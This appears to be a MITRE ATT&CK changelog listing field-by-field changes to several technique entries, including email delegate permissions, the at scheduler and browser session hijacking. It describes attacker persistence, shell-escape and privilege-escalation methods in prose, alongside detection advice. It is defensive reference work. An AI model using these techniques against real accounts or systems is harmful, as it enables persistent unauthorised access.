| external_references[1]['source_name'] | Microsoft Support O365 Add Another Admin, October 2019 | Expel AWS Attacker |
| external_references[1]['description'] | Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019. | Brian Bahtiarian, David Blanton, Britton Manahan and Kyle Pellett. (2022, April 5). Incident report: From CLI to console, chasing an attacker in AWS. Retrieved April 7, 2022. |
| external_references[1]['url'] | https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d | https://expel.com/blog/incident-report-from-cli-to-console-chasing-an-attacker-in-aws/ |
| x_mitre_data_sources[0] | Office 365 audit logs | User Account: User Account Modification |
| x_mitre_detection | Collect usage logs from cloud administrator accounts to identify unusual activity in the assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins. | Collect activity logs from IAM services and cloud administrator accounts to identify unusual activity in the assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins. |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'SpecterOps Azure Privilege Escalation', 'description': 'Andy Robbins. (2021, October 12). Azure Privilege Escalation via Service Principal Abuse. Retrieved April 1, 2022.', 'url': 'https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5'} | |
| external_references | {'source_name': 'AWS IAM Policies and Permissions', 'description': 'AWS. (n.d.). Policies and permissions in IAM. Retrieved April 1, 2022.', 'url': 'https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html'} | |
| external_references | {'source_name': 'Google Cloud IAM Policies', 'description': 'Google Cloud. (2022, March 31). Understanding policies. Retrieved April 1, 2022.', 'url': 'https://cloud.google.com/iam/docs/policies'} | |
| external_references | {'source_name': 'Microsoft Support O365 Add Another Admin, October 2019', 'description': 'Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.', 'url': 'https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d'} | |
| x_mitre_contributors | Alex Parsons, Crowdstrike | |
| x_mitre_contributors | Chris Romano, Crowdstrike | |
| x_mitre_contributors | Wojciech Lesicki | |
| x_mitre_contributors | Pià Consigny, Tenable | |
| x_mitre_contributors | Clément Notin, Tenable | |
| x_mitre_platforms | IaaS | |
| x_mitre_platforms | SaaS | |
| x_mitre_platforms | Google Workspace | |
| x_mitre_platforms | Azure AD |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may grant additional permission levels, such as | t | 1 | Adversaries may grant additional permission levels to mainta |
| > | ReadPermission or FullAccess, to maintain persistent access | > | in persistent access to an adversary-controlled email accoun | ||
| > | to an adversary-controlled email account. The <code>Add-Mail | > | t. For example, the <code>Add-MailboxPermission</code> [Po | ||
| > | boxPermission</code> [PowerShell](https://attack.mitre.org/t | > | werShell](https://attack.mitre.org/techniques/T1059/001) cmd | ||
| > | echniques/T1059/001) cmdlet, available in on-premises Exchan | > | let, available in on-premises Exchange and in the cloud-base | ||
| > | ge and in the cloud-based service Office 365, adds permissio | > | d service Office 365, adds permissions to a mailbox.(Citatio | ||
| > | ns to a mailbox.(Citation: Microsoft - Add-MailboxPermission | > | n: Microsoft - Add-MailboxPermission)(Citation: FireEye APT3 | ||
| > | )(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding | > | 5 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018) In | ||
| > | in Plain Sight 2018) This may be used in persistent threat | > | Google Workspace, delegation can be enabled via the Google | ||
| > | incidents as well as BEC (Business Email Compromise) incide | > | Admin console and users can delegate accounts via their Gmai | ||
| > | nts where an adversary can assign more access rights to the | > | l settings.(Citation: Gmail Delegation)(Citation: Google Ens | ||
| > | accounts they wish to compromise. This may further enable us | > | uring Your Information is Safe) Adversaries may also assig | ||
| > | e of additional techniques for gaining access to systems. Fo | > | n mailbox folder permissions through individual folder permi | ||
| > | r example, compromised business accounts are often used to s | > | ssions or roles. In Office 365 environments, adversaries may | ||
| > | end messages to other accounts in the network of the target | > | assign the Default or Anonymous user permissions or roles t | ||
| > | business while creating inbox rules (ex: [Internal Spearphis | > | o the Top of Information Store (root), Inbox, or other mailb | ||
| > | hing](https://attack.mitre.org/techniques/T1534)), so the me | > | ox folders. By assigning one or both user permissions to a f | ||
| > | ssages evade spam/phishing detection mechanisms.(Citation: B | > | older, the adversary can utilize any other account in the te | ||
| > | ienstock, D. - Defending O365 - 2019) | > | nant to maintain persistence to the target user’s mail folde | ||
| > | rs.(Citation: Remediation and Hardening Strategies for Micro | ||||
| > | soft 365 to Defend Against UNC2452) This may be used in per | ||||
| > | sistent threat incidents as well as BEC (Business Email Comp | ||||
| > | romise) incidents where an adversary can add [Additional Clo | ||||
| > | ud Roles](https://attack.mitre.org/techniques/T1098/003) to | ||||
| > | the accounts they wish to compromise. This may further enabl | ||||
| > | e use of additional techniques for gaining access to systems | ||||
| > | . For example, compromised business accounts are often used | ||||
| > | to send messages to other accounts in the network of the tar | ||||
| > | get business while creating inbox rules (ex: [Internal Spear | ||||
| > | phishing](https://attack.mitre.org/techniques/T1534)), so th | ||||
| > | e messages evade spam/phishing detection mechanisms.(Citatio | ||||
| > | n: Bienstock, D. - Defending O365 - 2019) | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['Administrator'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-04 19:18:36.254000+00:00 | 2022-04-19 14:55:26.110000+00:00 |
| name | Exchange Email Delegate Permissions | Additional Email Delegate Permissions |
| description | Adversaries may grant additional permission levels, such as ReadPermission or FullAccess, to maintain persistent access to an adversary-controlled email account. The Add-MailboxPermission [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018)
This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can assign more access rights to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019) | Adversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account.
For example, the Add-MailboxPermission [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018) In Google Workspace, delegation can be enabled via the Google Admin console and users can delegate accounts via their Gmail settings.(Citation: Gmail Delegation)(Citation: Google Ensuring Your Information is Safe)
Adversaries may also assign mailbox folder permissions through individual folder permissions or roles. In Office 365 environments, adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user’s mail folders.(Citation: Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452)
This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019) |
| external_references[1]['source_name'] | Microsoft - Add-MailboxPermission | Bienstock, D. - Defending O365 - 2019 |
| external_references[1]['description'] | Microsoft. (n.d.). Add-Mailbox Permission. Retrieved September 13, 2019. | Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending O365. Retrieved September 13, 2019. |
| external_references[1]['url'] | https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps | https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365 |
| external_references[2]['source_name'] | FireEye APT35 2018 | Crowdstrike Hiding in Plain Sight 2018 |
| external_references[2]['description'] | Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018. | Crowdstrike. (2018, July 18). Hiding in Plain Sight: Using the Office 365 Activities API to Investigate Business Email Compromises. Retrieved January 19, 2020. |
| external_references[2]['url'] | https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf | https://www.crowdstrike.com/blog/hiding-in-plain-sight-using-the-office-365-activities-api-to-investigate-business-email-compromises/ |
| external_references[3]['source_name'] | Crowdstrike Hiding in Plain Sight 2018 | Google Ensuring Your Information is Safe |
| external_references[3]['description'] | Crowdstrike. (2018, July 18). Hiding in Plain Sight: Using the Office 365 Activities API to Investigate Business Email Compromises. Retrieved January 19, 2020. | Google. (2011, June 1). Ensuring your information is safe online. Retrieved April 1, 2022. |
| external_references[3]['url'] | https://www.crowdstrike.com/blog/hiding-in-plain-sight-using-the-office-365-activities-api-to-investigate-business-email-compromises/ | https://googleblog.blogspot.com/2011/06/ensuring-your-information-is-safe.html |
| external_references[4]['source_name'] | Bienstock, D. - Defending O365 - 2019 | Gmail Delegation |
| external_references[4]['description'] | Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending O365. Retrieved September 13, 2019. | Google. (n.d.). Turn Gmail delegation on or off. Retrieved April 1, 2022. |
| external_references[4]['url'] | https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365 | https://support.google.com/a/answer/7223765?hl=en |
| x_mitre_data_sources[0] | Office 365 audit logs | Application Log: Application Log Content |
| x_mitre_detection | Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts. A larger than normal volume of emails sent from an account and similar phishing emails sent from real accounts within a network may be a sign that an account was compromised and attempts to leverage access with modified email permissions is occurring. | Monitor for unusual Exchange and Office 365 email account permissions changes that may indicate excessively broad permissions being granted to compromised accounts. Enable the UpdateFolderPermissions action for all logon types. The mailbox audit log will forward folder permission modification events to the Unified Audit Log. Create rules to alert on ModifyFolderPermissions operations where the Anonymous or Default user is assigned permissions other than None. A larger than normal volume of emails sent from an account and similar phishing emails sent from real accounts within a network may be a sign that an account was compromised and attempts to leverage access with modified email permissions is occurring. |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'FireEye APT35 2018', 'description': 'Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.', 'url': 'https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf'} | |
| external_references | {'source_name': 'Microsoft - Add-MailboxPermission', 'description': 'Microsoft. (n.d.). Add-Mailbox Permission. Retrieved September 13, 2019.', 'url': 'https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps'} | |
| external_references | {'source_name': 'Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452', 'description': 'Mike Burns, Matthew McWhirt, Douglas Bienstock, Nick Bennett. (2021, January 19). Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452. Retrieved September 25, 2021.', 'url': 'https://www.fireeye.com/blog/threat-research/2021/01/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452.html'} | |
| x_mitre_contributors | Microsoft Detection and Response Team (DART) | |
| x_mitre_contributors | Mike Burns, Mandiant | |
| x_mitre_contributors | Naveen Vijayaraghavan, Nilesh Dherange (Gurucul) | |
| x_mitre_data_sources | User Account: User Account Modification | |
| x_mitre_data_sources | Group: Group Modification | |
| x_mitre_platforms | Google Workspace |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse the <code>at.exe</code> utility to per | t | 1 | Adversaries may abuse the [at](https://attack.mitre.org/soft |
| > | form task scheduling for initial or recurring execution of m | > | ware/S0110) utility to perform task scheduling for initial o | ||
| > | alicious code. The [at](https://attack.mitre.org/software/S0 | > | r recurring execution of malicious code. The [at](https://at | ||
| > | 110) utility exists as an executable within Windows for sche | > | tack.mitre.org/software/S0110) utility exists as an executab | ||
| > | duling tasks at a specified time and date. Using [at](https: | > | le within Windows, Linux, and macOS for scheduling tasks at | ||
| > | //attack.mitre.org/software/S0110) requires that the Task Sc | > | a specified time and date. Although deprecated in favor of [ | ||
| > | heduler service be running, and the user to be logged on as | > | Scheduled Task](https://attack.mitre.org/techniques/T1053/00 | ||
| > | a member of the local Administrators group. An adversary m | > | 5)'s [schtasks](https://attack.mitre.org/software/S0111) in | ||
| > | ay use <code>at.exe</code> in Windows environments to execut | > | Windows environments, using [at](https://attack.mitre.org/so | ||
| > | e programs at system startup or on a scheduled basis for per | > | ftware/S0110) requires that the Task Scheduler service be ru | ||
| > | sistence. [at](https://attack.mitre.org/software/S0110) can | > | nning, and the user to be logged on as a member of the local | ||
| > | also be abused to conduct remote Execution as part of Latera | > | Administrators group. On Linux and macOS, [at](https://att | ||
| > | l Movement and or to run a process under the context of a sp | > | ack.mitre.org/software/S0110) may be invoked by the superuse | ||
| > | ecified account (such as SYSTEM). Note: The <code>at.exe</c | > | r as well as any users added to the <code>at.allow</code> fi | ||
| > | ode> command line utility has been deprecated in current ver | > | le. If the <code>at.allow</code> file does not exist, the <c | ||
| > | sions of Windows in favor of <code>schtasks</code>. | > | ode>at.deny</code> file is checked. Every username not liste | ||
| > | d in <code>at.deny</code> is allowed to invoke [at](https:// | ||||
| > | attack.mitre.org/software/S0110). If the <code>at.deny</code | ||||
| > | > exists and is empty, global use of [at](https://attack.mit | ||||
| > | re.org/software/S0110) is permitted. If neither file exists | ||||
| > | (which is often the baseline) only the superuser is allowed | ||||
| > | to use [at](https://attack.mitre.org/software/S0110).(Citati | ||||
| > | on: Linux at) Adversaries may use [at](https://attack.mitre | ||||
| > | .org/software/S0110) to execute programs at system startup o | ||||
| > | r on a scheduled basis for [Persistence](https://attack.mitr | ||||
| > | e.org/tactics/TA0003). [at](https://attack.mitre.org/softwar | ||||
| > | e/S0110) can also be abused to conduct remote [Execution](ht | ||||
| > | tps://attack.mitre.org/tactics/TA0002) as part of [Lateral M | ||||
| > | ovement](https://attack.mitre.org/tactics/TA0008) and/or to | ||||
| > | run a process under the context of a specified account (such | ||||
| > | as SYSTEM). In Linux environments, adversaries may also ab | ||||
| > | use [at](https://attack.mitre.org/software/S0110) to break o | ||||
| > | ut of restricted environments by using a task to spawn an in | ||||
| > | teractive system shell or to run system commands. Similarly, | ||||
| > | [at](https://attack.mitre.org/software/S0110) may also be u | ||||
| > | sed for [Privilege Escalation](https://attack.mitre.org/tact | ||||
| > | ics/TA0004) if the binary is allowed to run as superuser via | ||||
| > | <code>sudo</code>.(Citation: GTFObins at) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 13:43:40.776000+00:00 | 2022-04-18 20:12:04.110000+00:00 |
| name | At (Windows) | At |
| description | Adversaries may abuse the at.exe utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows for scheduling tasks at a specified time and date. Using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.
An adversary may use at.exe in Windows environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account (such as SYSTEM).
Note: The at.exe command line utility has been deprecated in current versions of Windows in favor of schtasks. | Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.
On Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the at.allow file. If the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the at.deny exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at)
Adversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM).
In Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at) |
| external_references[1]['source_name'] | Twitter Leoloobeek Scheduled Task | rowland linux at 2019 |
| external_references[1]['description'] | Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017. | Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021. |
| external_references[1]['url'] | https://twitter.com/leoloobeek/status/939248813465853953 | https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/ |
| external_references[2]['source_name'] | TechNet Forum Scheduled Task Operational Setting | GTFObins at |
| external_references[2]['description'] | Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017. | Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved September 28, 2021. |
| external_references[2]['url'] | https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen | https://gtfobins.github.io/gtfobins/at/ |
| external_references[3]['source_name'] | TechNet Scheduled Task Events | Linux at |
| external_references[3]['description'] | Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017. | IEEE/The Open Group. (2017). at(1p) — Linux manual page. Retrieved February 25, 2022. |
| external_references[3]['url'] | https://technet.microsoft.com/library/dd315590.aspx | https://man7.org/linux/man-pages/man1/at.1p.html |
| external_references[4]['source_name'] | Microsoft Scheduled Task Events Win10 | Twitter Leoloobeek Scheduled Task |
| external_references[4]['description'] | Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019. | Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017. |
| external_references[4]['url'] | https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events | https://twitter.com/leoloobeek/status/939248813465853953 |
| external_references[5]['source_name'] | TechNet Autoruns | Microsoft Scheduled Task Events Win10 |
| external_references[5]['description'] | Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. | Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019. |
| external_references[5]['url'] | https://technet.microsoft.com/en-us/sysinternals/bb963902 | https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events |
| x_mitre_data_sources[0] | File monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[2] | Process monitoring | Scheduled Job: Scheduled Job Creation |
| x_mitre_data_sources[3] | Windows event logs | File: File Modification |
| x_mitre_detection | Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10) * Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered * Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated * Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted * Event ID 4698 on Windows 10, Server 2016 - Scheduled task created * Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled * Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. | Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.
Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)
* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered
* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated
* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted
* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created
* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled
* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled
Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)
Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.
In Linux and macOS environments, monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc.
Review all jobs using the atq command and ensure IP addresses stored in the SSH_CONNECTION and SSH_CLIENT variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in /var/spool/cron/atjobs/.(Citation: rowland linux at 2019)
Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [Command and Control](https://attack.mitre.org/tactics/TA0011), learning details about the environment through [Discovery](https://attack.mitre.org/tactics/TA0007), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008). |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'TechNet Scheduled Task Events', 'description': 'Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017.', 'url': 'https://technet.microsoft.com/library/dd315590.aspx'} | |
| external_references | {'source_name': 'TechNet Autoruns', 'description': 'Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.', 'url': 'https://technet.microsoft.com/en-us/sysinternals/bb963902'} | |
| external_references | {'source_name': 'TechNet Forum Scheduled Task Operational Setting', 'description': 'Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017.', 'url': 'https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen'} | |
| x_mitre_permissions_required | User | |
| x_mitre_platforms | Linux | |
| x_mitre_platforms | macOS |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries can take advantage of security vulnerabilities a | t | 1 | Adversaries may take advantage of security vulnerabilities a |
| > | nd inherent functionality in browser software to change cont | > | nd inherent functionality in browser software to change cont | ||
| > | ent, modify behavior, and intercept information as part of v | > | ent, modify user-behaviors, and intercept information as par | ||
| > | arious man in the browser techniques. (Citation: Wikipedia M | > | t of various browser session hijacking techniques.(Citation: | ||
| > | an in the Browser) A specific example is when an adversary | > | Wikipedia Man in the Browser) A specific example is when a | ||
| > | injects software into a browser that allows an them to inher | > | n adversary injects software into a browser that allows them | ||
| > | it cookies, HTTP sessions, and SSL client certificates of a | > | to inherit cookies, HTTP sessions, and SSL client certifica | ||
| > | user and use the browser as a way to pivot into an authentic | > | tes of a user then use the browser as a way to pivot into an | ||
| > | ated intranet. (Citation: Cobalt Strike Browser Pivot) (Cita | > | authenticated intranet.(Citation: Cobalt Strike Browser Piv | ||
| > | tion: ICEBRG Chrome Extensions) Browser pivoting requires t | > | ot)(Citation: ICEBRG Chrome Extensions) Executing browser-ba | ||
| > | he SeDebugPrivilege and a high-integrity process to execute. | > | sed behaviors such as pivoting may require specific process | ||
| > | Browser traffic is pivoted from the adversary's browser thr | > | permissions, such as <code>SeDebugPrivilege</code> and/or hi | ||
| > | ough the user's browser by setting up an HTTP proxy which wi | > | gh-integrity/administrator rights. Another example involves | ||
| > | ll redirect any HTTP and HTTPS traffic. This does not alter | > | pivoting browser traffic from the adversary's browser throu | ||
| > | the user's traffic in any way. The proxy connection is sever | > | gh the user's browser by setting up a proxy which will redir | ||
| > | ed as soon as the browser is closed. Whichever browser proce | > | ect web traffic. This does not alter the user's traffic in a | ||
| > | ss the proxy is injected into, the adversary assumes the sec | > | ny way, and the proxy connection can be severed as soon as t | ||
| > | urity context of that process. Browsers typically create a n | > | he browser is closed. The adversary assumes the security con | ||
| > | ew process for each tab that is opened and permissions and c | > | text of whichever browser process the proxy is injected into | ||
| > | ertificates are separated accordingly. With these permission | > | . Browsers typically create a new process for each tab that | ||
| > | s, an adversary could browse to any resource on an intranet | > | is opened and permissions and certificates are separated acc | ||
| > | that is accessible through the browser and which the browser | > | ordingly. With these permissions, an adversary could potenti | ||
| > | has sufficient permissions, such as Sharepoint or webmail. | > | ally browse to any resource on an intranet, such as [Sharepo | ||
| > | Browser pivoting also eliminates the security provided by 2- | > | int](https://attack.mitre.org/techniques/T1213/002) or webma | ||
| > | factor authentication. (Citation: cobaltstrike manual) | > | il, that is accessible through the browser and which the bro | ||
| > | wser has sufficient permissions. Browser pivoting may also b | ||||
| > | ypass security provided by 2-factor authentication.(Citation | ||||
| > | : cobaltstrike manual) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-14 19:39:44.590000+00:00 | 2022-02-25 18:58:15.229000+00:00 |
| name | Man in the Browser | Browser Session Hijacking |
| description | Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques. (Citation: Wikipedia Man in the Browser) A specific example is when an adversary injects software into a browser that allows an them to inherit cookies, HTTP sessions, and SSL client certificates of a user and use the browser as a way to pivot into an authenticated intranet. (Citation: Cobalt Strike Browser Pivot) (Citation: ICEBRG Chrome Extensions) Browser pivoting requires the SeDebugPrivilege and a high-integrity process to execute. Browser traffic is pivoted from the adversary's browser through the user's browser by setting up an HTTP proxy which will redirect any HTTP and HTTPS traffic. This does not alter the user's traffic in any way. The proxy connection is severed as soon as the browser is closed. Whichever browser process the proxy is injected into, the adversary assumes the security context of that process. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could browse to any resource on an intranet that is accessible through the browser and which the browser has sufficient permissions, such as Sharepoint or webmail. Browser pivoting also eliminates the security provided by 2-factor authentication. (Citation: cobaltstrike manual) | Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.(Citation: Wikipedia Man in the Browser)
